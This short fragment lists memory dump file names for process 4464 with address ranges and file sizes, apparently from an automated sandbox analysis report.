32KB
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memory/4464-46-0x00007FF86AF90000-0x00007FF86B04D000-memory.dmpFilesize
756KB
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memory/4464-47-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
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memory/4464-38-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB